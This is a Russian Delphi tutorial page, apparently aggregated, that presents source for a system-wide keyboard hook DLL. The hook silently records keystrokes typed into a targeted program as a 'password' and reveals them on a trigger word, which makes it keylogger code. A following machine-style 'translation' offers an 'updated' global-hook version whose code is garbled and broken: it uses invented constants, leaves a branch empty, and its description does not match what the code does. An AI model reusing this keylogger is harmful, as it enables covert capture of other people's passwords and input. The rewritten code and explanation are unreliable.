program cwbhook;
uses
Windows, Dialogs;
var
hinstDLL: HINST;
hkprcKeyboard: TFNHookProc;
msg: TMsg;
begin
hinstDLL := LoadLibrary('HookAgnt.dll');
hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
repeatuntilnot GetMessage(msg, 0, 0, 0);
end.
HookAgnt.dpr
library HookAgent;
uses
Windows, KeyboardHook in 'KeyboardHook.pas';
exports
KeyboardProc;
var
hFileMappingObject: THandle;
fInit: Boolean;
{----------------------------\
| |
| DLL_PROCESS_DETACH |
| |
\----------------------------}procedure DLLMain(Reason: Integer);
beginif Reason = DLL_PROCESS_DETACH thenbegin
UnmapViewOfFile(lpvMem);
CloseHandle(hFileMappingObject);
end;
end;
{----------------------------\
| |
| DLL_PROCESS_ATTACH |
| |
\----------------------------}begin
DLLProc := @DLLMain;
hFileMappingObject := CreateFileMapping(
THandle($FFFFFFFF), // use paging filenil, // no security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32 bits
4096, // size: low 32 bits
'HookAgentShareMem' // name of map object
);
if hFileMappingObject = INVALID_HANDLE_VALUE thenbegin
ExitCode := 1;
Exit;
end;
fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
lpvMem := MapViewOfFile(
hFileMappingObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0 // default: map entire file
);
if lpvMem = nilthenbegin
CloseHandle(hFileMappingObject);
ExitCode := 1;
Exit;
end;
if fInit then
FillChar(lpvMem, PASSWORDSIZE, #0);
end.
KeyboardHook.pas
unit KeyboardHook;
interfaceuses
Windows;
const
PASSWORDSIZE = 16;
var
g_hhk: HHOOK;
g_szKeyword: array[0..PASSWORDSIZE-1] of char;
lpvMem: Pointer;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT; stdcall;
implementationuses
SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;
var
szModuleFileName: array[0..MAX_PATH-1] of Char;
szKeyName: array[0..16] of Char;
lpszPassword: PChar;
begin
lpszPassword := PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) thenbegin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
lstrcat(g_szKeyword, szKeyName);
GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_АДО__') <> nil) and
(strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
lstrcat(lpszPassword, szKeyName);
if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nilthenbegin
ShowMessage(lpszPassword);
g_szKeyword[0] := #0;
end;
Result := 0;
endelse
Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
Перевод:
Чтобы поймать ввод клавиатуры для всех процессов в системе, можно использовать глобальный хук клавиатуры. Код, предоставленный ниже, является хорошим стартом, но требует модификации и расширения для достижения этого цели.
Вот обзор того, как работает предоставленный код:
DLL HookAgnt.dll устанавливает хук клавиатуры с помощью функции SetWindowsHookEx.
Процедура KeyboardProc в файле KeyboardHook.pas вызывается каждый раз, когда происходит ввод клавиатуры.
Эта процедура проверяет, соответствует ли ввод конкретному ключевому слову, и если да, то отображает сообщение.
Чтобы поймать ввод клавиатуры для всех процессов в системе, вам нужно:
Установить глобальный хук клавиатуры с помощью SetWindowsHookEx с флагом WH_KEYBOARD_LL.
Использовать функцию GetMessage, чтобы получить события ввода клавиатуры.
Обрабатывать эти события в процедуре KeyboardProc.
Вот обновленная версия кода, которая должна достичь этого:
programSetGlobalKeyboardHook;usesWindows,Dialogs;constPASSWORDSIZE=16;MOD_GLOBAL_KEYBOARD_HOOK=MOD_NLSEXT+MOD_NLSLOGON+MOD_NLS;varg_hhk:HHOOK;lpvMem:Pointer;functionKeyboardProc(nCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;begin// Обрабатываем события ввода клавиатуры здесьifnCode=HC_ACTIONthen// Проверяем, соответствует ли ввод конкретному ключевому слову, и если да, то отображаем сообщениеelseResult:=CallNextHookEx(g_hhk,nCode,wParam,lParam);end;procedureMain;varhFileMappingObject:THandle;fInit:Boolean;beging_hhk:=SetWindowsHookEx(WH_KEYBOARD_LL,@KeyboardProc,HInstance,0);// Инициализируем объект памятиhFileMappingObject:=CreateFileMapping(THandle($FFFFFFFF),// Используем файловый разделnil,// Без атрибутов безопасностиPAGE_READWRITE,// Чтение/запись доступа0,// Размер: высокий 32 бита4096,// Размер: низкий 32 бита'HookAgentShareMem');// Имя объекта памятиifhFileMappingObject=INVALID_HANDLE_VALUEthenbeginExitCode:=1;Exit;end;fInit:=GetLastError()<>ERROR_ALREADY_EXISTS;lpvMem:=MapViewOfFile(hFileMappingObject,// Объект для отображенияFILE_MAP_WRITE,// Чтение/запись доступа0,// Высокий offset: отображаем с начала0);// Default: отображаем весь файлiflpvMem=nilthenbeginCloseHandle(hFileMappingObject);ExitCode:=1;Exit;end;iffInitthenFillChar(lpvMem,PASSWORDSIZE,#0);whiletruedoSleep(100);// Ожидаем событий ввода клавиатурыend.beginMain;end.
Код устанавливает глобальный хук клавиатуры с помощью SetWindowsHookEx с флагом WH_KEYBOARD_LL. Затем он использует функцию GetMessage, чтобы получить события ввода клавиатуры, и обрабатывает эти события в процедуре KeyboardProc. Процедура Main инициализирует объект памяти и ожидает событий ввода клавиатуры.
Обратите внимание, что это код является стартовой точкой, и вам нужно будет модифицировать его в соответствии со своими конкретными требованиями.
Как отловить нажатия клавиш для всех процессов в системе: при помощи динамически подключенной библиотеки HookAgnt.dll и реализации хука клавиатуры на языке Delphi.
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.